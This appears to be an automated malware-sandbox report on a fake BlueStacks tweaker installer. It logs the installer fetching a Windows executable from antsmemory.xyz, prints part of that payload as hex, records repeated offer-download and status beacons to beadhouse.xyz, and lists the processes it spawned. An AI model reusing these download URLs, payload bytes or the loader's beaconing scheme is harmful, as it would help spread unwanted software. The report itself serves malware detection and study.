38 37 36 26 73 31 3d 34 37 39 32 38 30 36 34 26 74 69 74 6c 65 3d 51 6d 78 31 5a 56 4e 30 59 57 4e 72 63 79 41 31 4d 54 51 78 4d 44 45 77 4d 44 63 67 55 33 52 68 59 6d 78 6c 49 43 42 43 62 48 56 6c 55 33 52 68 59 32 74 7a 49 46 52 33 5a 57 46 72 5a 58 49 67 4e 54 45 32 4d 53 42 47 61 57 35 68 62 43 41 67 54 31 4d 67 49 46 4e 44 62 47 39 31 5a 46 64 54 4c 6d 56 34 5a 51 25 33 44 25 33 44 26 74 69 3d 31 37 30 35 38 35 34 34 32 38 Data Ascii: http://antsmemory.xyz/pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ%3D%3D&ti=1705854428
Jan 21, 2024 17:27:13.367156029 CET	103	OUT	GET /boa.php HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: restfork.website
Jan 21, 2024 17:27:14.333662987 CET	597	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.4.16 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A39lV9snffruRKIzFSYShb9FnNx7AsusCYlCu5AvUFsWfM8tVB%2Fh6erR25lw%2Bntua74C1EUnh0ynTVy7CaluKRcg0lox6UjstE6gZQp8HZHDiuUkN6HgbRBCK8xf%2FXrXQj8v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ec60e9491396-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	172.67.210.35	80	3660	C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 17:27:08.962878942 CET	272	OUT	GET /pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ%3D%3D&ti=1705854428 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: antsmemory.xyz
Jan 21, 2024 17:27:12.263537884 CET	1286	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:12 GMT Content-Type: application/force-download Content-Length: 3468129 Connection: keep-alive X-Powered-By: PHP/5.3.28 Content-Disposition: attachment; filename="BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe_.exe" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6DZ0etoRZYZ5sckTpUdXItg9rGwT1w%2FNC5BT%2FYUTCuDjHknSrT5tp%2BH80ZEQD9NyB%2FGK3XSWWVVpqA8dh3PM%2FJ44lHfHUAHMH0uwxXjaDblAggB6d4AhUDssQNUQMwmbyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ec455bd0137b-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 b8 84 3a 75 d9 ea 69 75 d9 ea 69 75 d9 ea 69 b6 d6 b5 69 77 d9 ea 69 75 d9 eb 69 ee d9 ea 69 b6 d6 b7 69 64 d9 ea 69 21 fa da 69 7f d9 ea 69 b2 df ec 69 74 d9 ea 69 52 69 63 68 75 d9 ea 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c6 e3 1a 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d4 01 00 00 04 00 00 3c 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 60 03 00 e0 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1:uiuiuiiwiuiiidi!iiitiRichuiPELK\<2p@s`?p.textZZ\ `.rdatap`@@.data
Jan 21, 2024 17:27:12.263556004 CET	1286	IN	Data Raw: 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 20 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 Data Ascii: r@.ndata @.rsrc?`@v@@
Jan 21, 2024 17:27:12.263569117 CET	1286	IN	Data Raw: 1b 8b 4d fc 33 c0 40 83 e2 01 d3 e0 8b 4e fc 23 c8 8b c1 8b 4d fc d3 e2 3b c2 75 0b 43 81 c6 18 04 00 00 3b df 72 c6 3b df 74 0d ff 45 fc 83 45 f8 04 83 7d fc 20 72 9f 8b 45 fc 5f 5e 5b c9 c2 04 00 8b 44 24 04 85 c0 7d 11 40 b9 00 40 42 00 c1 e0 Data Ascii: M3@N#M;uC;r;tEE} rE_^[D$}@@B+QWGVt$j>Bk8t\P=tUPu@FH+\|$t/6Bj5t6Bh0u56B0q@Pht$Dr@}3^D$>Bjtli
Jan 21, 2024 17:27:12.263581991 CET	1286	IN	Data Raw: 74 1b 56 6a fa e9 57 fc ff ff ff 75 f8 6a e2 e8 bf 36 00 00 83 7d 08 02 e9 5a fd ff ff ff 05 28 3f 42 00 e9 3b 10 00 00 ff 75 f8 6a ea e8 a1 36 00 00 ff 05 54 3f 42 00 53 53 ff 75 cc ff 75 e4 e8 a2 16 00 00 ff 0d 54 3f 42 00 83 7d e8 ff 8b f8 75 Data Ascii: tVjWuj6}Z(?B;uj6T?BSSuuT?B}u}tEPESPup@up@;ujVBuVBjVBh V1S4j1uP<;;i;EJ;EEjuPn;ij
Jan 21, 2024 17:27:12.263595104 CET	1082	IN	Data Raw: 50 ff 15 30 71 40 00 f7 d8 6a 03 a3 74 af 40 00 e8 8d 0c 00 00 a3 84 af 40 00 8a 45 ec ff 75 e0 8a c8 80 e1 01 c6 05 8b af 40 00 01 88 0d 88 af 40 00 8a c8 80 e1 02 24 04 68 90 af 40 00 88 0d 89 af 40 00 a2 8a af 40 00 e8 03 3e 00 00 68 74 af 40 Data Ascii: P0q@jt@@Eu@@$h@@@>ht@Lp@#S>j59]PVu`r@<r@S/j1&j"jj:uhB#PS#Pu\q@!uASVj0
Jan 21, 2024 17:27:12.268445015 CET	1286	IN	Data Raw: f2 53 e8 7e 08 00 00 6a 11 8b f0 e8 75 08 00 00 6a 23 8b f8 e8 6c 08 00 00 56 89 45 08 e8 ce 3c 00 00 85 c0 75 0d 53 6a f9 e8 65 2d 00 00 e9 b8 04 00 00 8b 45 cc 56 89 45 9c c7 45 a0 02 00 00 00 e8 c5 39 00 00 57 88 5c 30 01 e8 bb 39 00 00 88 5c Data Ascii: S~juj#lVE<uSje-EVEE9W\09\8EfMPSu}EfM$-EP`q@=th jS9P2~4?Bh33;tSU;tj9]tj"jPSWV q@?
Jan 21, 2024 17:27:12.268460035 CET	1286	IN	Data Raw: e9 35 01 00 00 6a f0 c7 45 f8 66 fd ff ff e8 6c 03 00 00 8b f0 56 89 75 bc e8 31 30 00 00 85 c0 75 07 6a ed e8 56 03 00 00 56 e8 78 31 00 00 6a 02 68 00 00 00 40 56 e8 8a 31 00 00 83 f8 ff 89 45 08 0f 84 9d 00 00 00 a1 b4 3e 42 00 8b 35 00 71 40 Data Ascii: 5jEflVu10ujVVx1jh@V1E>B5q@Pj@E;t{SuWuj@;ut4uVSuFQVPM0u8uup@ESPuWu(q@Wp@SSujEup@9]j^}j^u
Jan 21, 2024 17:27:12.268476009 CET	1286	IN	Data Raw: 75 05 b9 1c 90 40 00 50 8d 45 c0 51 50 ff 15 00 72 40 00 83 c4 0c 8d 45 c0 50 ff 75 08 ff 15 f4 71 40 00 8d 45 c0 50 68 06 04 00 00 ff 75 08 e8 54 28 00 00 33 c0 c9 c2 10 00 8b 0d 40 70 41 00 a1 50 f0 41 00 3b c8 7c 02 8b c8 50 6a 64 51 ff 15 30 Data Ascii: u@PEQPr@EPuq@EPhuT(3@pAPA;\|PjdQ0q@U@V39utLpA;tPq@5LpAv95LpAtV2fp@;>BvX95>Bt-T?BtGPEhP@Pr@EPV"#Vh;+@Vjo5>Bq@jPLpA`r@^
Jan 21, 2024 17:27:12.268526077 CET	1286	IN	Data Raw: 40 00 ff 35 18 90 40 00 ff 15 34 71 40 00 89 35 50 f0 41 00 89 1d 40 70 41 00 bd 40 b0 40 00 a1 48 70 41 00 bf 00 40 00 00 2b 05 54 f0 41 00 3b c7 7f 02 8b f8 be 40 30 41 00 57 56 e8 fb 00 00 00 85 c0 0f 84 d3 00 00 00 01 3d 54 f0 41 00 89 35 d0 Data Ascii: @5@4q@5PA@pA@@HpA@+TA;@0AWV=TA5@=@9>Bt)9@?Bu!PAS+DpA+D$@@pAY@-@@Y.\|{5@+t2D$SPVU5@(q@tU;t$uO5@9@w9@u7;t3
Jan 21, 2024 17:27:12.268543959 CET	1286	IN	Data Raw: 24 44 02 00 00 00 ff d7 53 6a 02 ff 15 24 72 40 00 85 c0 75 07 6a 09 e8 66 de ff ff a1 4c 3f 42 00 83 f8 ff 74 04 89 44 24 18 ff 74 24 18 ff 15 a4 70 40 00 a1 14 90 40 00 56 8b 35 ec 70 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 14 90 40 00 ff a1 18 90 Data Ascii: $DSj$r@ujfL?BtD$t$p@@V5p@tP@@tP@)jhB^V5\At$V6Yu^V5\AjtW6wq@Wp@u_%\A^\AH;L$tu@3Vt$Vu
Jan 21, 2024 17:27:12.268858910 CET	1286	IN	Data Raw: 2c 48 f7 d8 1b c0 23 c3 50 ff 35 78 04 42 00 ff 15 60 72 40 00 81 fb 0d 04 00 00 75 1a ff 35 78 36 42 00 ff 15 e8 71 40 00 8b 44 24 2c a3 78 36 42 00 e9 fc 03 00 00 83 fb 11 75 11 55 55 57 ff 15 30 72 40 00 33 c0 40 e9 0b 04 00 00 81 fb 11 01 00 Data Ascii: ,H#P5xB`r@u5x6Bq@D$,x6BuUUW0r@3@t$,VW,r@;tUUhWDr@Wq@uV.u9-@~?jj_;u49-,?BtW=hAjx0ju%hAt$0t$0h5x6BD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49721	104.21.38.59	80	4372	C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 17:27:24.894655943 CET	164	OUT	GET /api_pedl.php?spot=1&a=2577&on=420&o=1662 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:25.070173025 CET	600	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:27:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CncSmRw1m%2FII12M35UaUvcb1UrASWzCucnHahINVBafljR57rEn%2BMlpNvCYuiJ9kV4LdWU3kLZAx%2FJU%2F0FY94%2BtFbiPbAyvjqln9udcXySSULLHD1Pl4hQhD1jyvc3Dw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490eca8eb3ead70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:27:25.088293076 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2577&dn=420&spot=1&t=1705854427 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:25.234893084 CET	580	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:25 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HE4DltBg3%2Bsry83%2BNjvkDoUhDPmzzeOo9ybcIMnkJejdUU2PFXnRxNeNWU96pbpii5XAqfpvaVAmqcoDsI7BonoTsxrPdIrWdgMLMyYn%2BliT9%2BcVQF2rnYfTF71DwnF9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecaa2c1aad70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:27:25.260683060 CET	164	OUT	GET /api_pedl.php?spot=2&a=2577&on=419&o=1661 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:25.412852049 CET	596	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:27:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PwNwUlKSgUMzAr9NpGeWRbH2d8gNB9Z5S96ZMcn39sSjZ9Xvzchaeo2u4%2FMVCYHuMmkLJ9eDT0RRopPap%2BW%2FnjqYzXJMRY5vxj97ZGY0URB4t11av73zZds5sQHLEYxO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecab3d2aad70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:27:25.439292908 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2577&dn=419&spot=2&t=1705854427 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:25.585747004 CET	580	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:25 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ta3%2BxaVbF594I%2B8QuGE5V5b8CXPv7SIQuAV8j63r7R5x8GZUXSspKEIQ96Ebb8c1d6jS4zNW7uurFDmAaRWWLLzPvHOhyd5wW70CDHaE%2FSd%2F8sWbwtTxtVAKjzJ0ybFQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecac5e1ead70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:27:25.626729965 CET	163	OUT	GET /api_pedl.php?spot=3&a=2577&on=244&o=331 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:25.780801058 CET	606	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:27:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Fluy4wte8v8D9oU6z5k2QFIWkSi%2Bqh1diX8toCVBRU%2BrIMzVBpRIM2w5N11NKY%2FY%2BcEfo03vPcQyanM4AUIYz1xTO5A6puB0YDDl1%2B62WZ5A%2FjYUtgHtAq%2FwrBhcfjbg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecad7f05ad70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:27:25.800457001 CET	213	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2577&dn=244&spot=3&t=1705854427 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:25.946429014 CET	578	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:25 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BLtHAvRuz3cQwzGS6%2BFZz91Jvd26taVhU22KeaGDDIaTlJRV%2BxQZ0AvjAKs6n30QqvmbcANUrxuufiHqPgEbhNYpiUWzHqM2POf5dr2fC2zsU1dkYN0a%2BHR7YshqtUI3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecae980ead70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:27:25.971366882 CET	164	OUT	GET /api_pedl.php?spot=4&a=2577&on=415&o=1657 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:26.131400108 CET	594	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:27:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ab0o4ovJFGvJU1g4OM5shkyfmb71%2BQhqjjuhjZcyDTduaan96YnRYU8rC70njtk3OoSqmTb9KwzNLXifBc6dfJI4ZpLDmsrtDI6rOCBqeoD3dg17%2Bc9LYPsRrhhfL7M6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecafa913ad70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:27:26.149849892 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2577&dn=415&spot=4&t=1705854427 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:26.296302080 CET	584	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:26 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ioek%2BfIS3HHaDW4he0%2FtQH5p%2BrucuptdexRJHYDdD4ATCpBgsV1RMN1ZhoY7UkLZkSlVRBQcgsWIQ9JY5ILofW3uq94J%2BlaiBRM%2B%2FDoTkhRL09KEVB8QGRqpDvKkgHue"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecb0ca1dad70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:27:26.321538925 CET	164	OUT	GET /api_pedl.php?spot=5&a=2577&on=424&o=1664 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:26.475902081 CET	600	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:27:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IeztSejw9zFPfXZOm978Ez7NBt7nd3PtsfcGea9%2Fba%2BfuJhE5cRj%2B9Fn3HcuMQwPIxLEQ193uirss5gUh7gtaeb%2BpQxsOiTGzewvG1Dcti7g%2FrEDovHTA19PIsALnVbr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecb1db36ad70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:27:26.502770901 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2577&dn=424&spot=5&t=1705854427 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:26.651355028 CET	578	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:26 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2yO0R2DhtkZrI%2BCNBYMhf1CW1YSkbCR6S3noKz3YoEo%2BXhn7C6NAiGKz9lWXLQ0uvCMM1gw8Dah3ODycrov24eeFa4%2BaQKqMXDTGpOByDmv0rSPS6KiN0ydAKUBfZXEq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecb2fc2cad70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:27:26.674153090 CET	164	OUT	GET /api_pedl.php?spot=6&a=2577&on=416&o=1658 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:26.835189104 CET	604	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:27:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Fcfywzx3rejBUb0kQ%2F4xtSknkhTqLSzjD8AOXvHQSj3%2BLkp4%2FQIC7m6syUF1uaOJDwdtB2MZNz8T0a2PEC65Xez0gBG%2B%2FZZhd24jrJWIeUI8h8541QL17rHgaoYD%2FCZK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecb40d0ead70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:27:26.850028038 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6&t=1705854427 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:27:26.996143103 CET	576	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:26 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xOEuEJBAxQ%2FPBISqNdpfgYM6JKJ56TycCHW1LuHkU453PcpHbTAh2mDuks5kwcYHBl2FnbOSPh6cYirUQsXDaCMB8fqvMiZavqI0i4gckd7ToIYg2btzM%2FXoL7uBrQG5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490ecb52decad70-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	104.21.38.59	443	4372	C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-21 16:27:24 UTC	156	OUT	GET /ss.php?a=3876&cc=US&t=1705854427 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
2024-01-21 16:27:24 UTC	573	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:27:24 GMT Content-Type: text/plain Content-Length: 2 Connection: close X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uQ7P0wMEBqYqH9Z3Qeug4LzA5aPGY36HKaZLtAt8El%2BHdDffA29Itfl75jPrY4hrQc%2FtK4ObL8XBnFm2H%2Bx4m60hV%2F54B838ElDhAIlxSWXgxw3aQuMXGgzWoIe7xYgM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490eca6ede553ba-ATL alt-svc: h3=":443"; ma=86400
2024-01-21 16:27:24 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Target ID:	0
Start time:	17:27:00
Start date:	21/01/2024
Path:	C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Imagebase:	0x400000
File size:	1'672'138 bytes
MD5 hash:	F80FD5EDF505C1F763DEE9F092F58E8F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	17:27:01
Start date:	21/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp" /SL5="$2042E,832512,832512,C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe"
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	D235738F98B347CBABC597EE2275E610
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:27:13
Start date:	21/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe
Imagebase:	0x400000
File size:	3'468'129 bytes
MD5 hash:	F3F0E443AE1A3876A532B4B3ACC72A9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.1%
